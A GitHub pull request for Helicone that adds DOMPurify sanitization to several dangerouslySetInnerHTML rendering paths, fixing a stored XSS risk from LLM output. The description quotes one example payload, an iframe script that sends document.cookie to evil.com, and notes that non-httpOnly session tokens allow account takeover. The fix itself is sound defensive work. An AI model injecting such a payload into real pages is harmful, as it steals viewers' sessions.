Skip to content

security: sanitize LLM output rendering to prevent stored XSS#5588

Merged
chitalian merged 1 commit intoHelicone:mainfrom
ink-the-squid:security/fix-stored-xss-chat-viewer
Feb 19, 2026
Merged

security: sanitize LLM output rendering to prevent stored XSS#5588
chitalian merged 1 commit intoHelicone:mainfrom
ink-the-squid:security/fix-stored-xss-chat-viewer

Conversation

@ink-the-squid
Copy link
Contributor

Summary

Sanitize all dangerouslySetInnerHTML usage with DOMPurify to prevent stored XSS attacks.

Vulnerability

LLM outputs and other dynamic content rendered via dangerouslySetInnerHTML were not sanitized. An attacker could inject HTML/JS payloads (e.g., <iframe srcdoc="<script>document.location='https://evil.com/?c='+document.cookie</script>">) into LLM responses that would execute in the browser of anyone viewing the logs.

Impact

Since Supabase session tokens do not have the httpOnly flag set, this enables full account takeover via cookie theft — any user viewing a poisoned log entry would have their session token exfiltrated.

Fix

Applied DOMPurify.sanitize() to all remaining unsanitized dangerouslySetInnerHTML instances:

  • ChangelogModal.tsx — RSS feed content rendering
  • textbookCourse.tsxmarked.parse() markdown-to-HTML output
  • adminSettings.tsx — search highlight markup injection
  • EmptyStateCard.tsx — Shiki code highlighting output

DOMPurify was already a dependency (used in CodeHighlighter and ErrorMessage). No new dependencies added.

Note

The primary chat message rendering path uses Streamdown (react-markdown) with rehype-harden, which provides separate sanitization. This PR covers all the non-Streamdown rendering paths that were missing sanitization.

Apply DOMPurify.sanitize() to all remaining dangerouslySetInnerHTML
instances that were not already sanitized:

- ChangelogModal: RSS feed content rendering
- textbookCourse: marked.parse() markdown-to-HTML output
- adminSettings: search highlight markup
- EmptyStateCard: Shiki code highlighting output

Prevents stored XSS via injected HTML/JS in rendered content.
DOMPurify was already a dependency and used in CodeHighlighter
and ErrorMessage components.
@vercel
Copy link

vercel bot commented Feb 19, 2026

@ink-the-squid is attempting to deploy a commit to the Helicone Team on Vercel.

A member of the Team first needs to authorize it.

Copy link
Contributor

@greptile-apps greptile-apps bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your free trial has ended. If you'd like to continue receiving code reviews, you can add a payment method here.

@chitalian chitalian merged commit 3aa2d93 into Helicone:main Feb 19, 2026
3 of 7 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants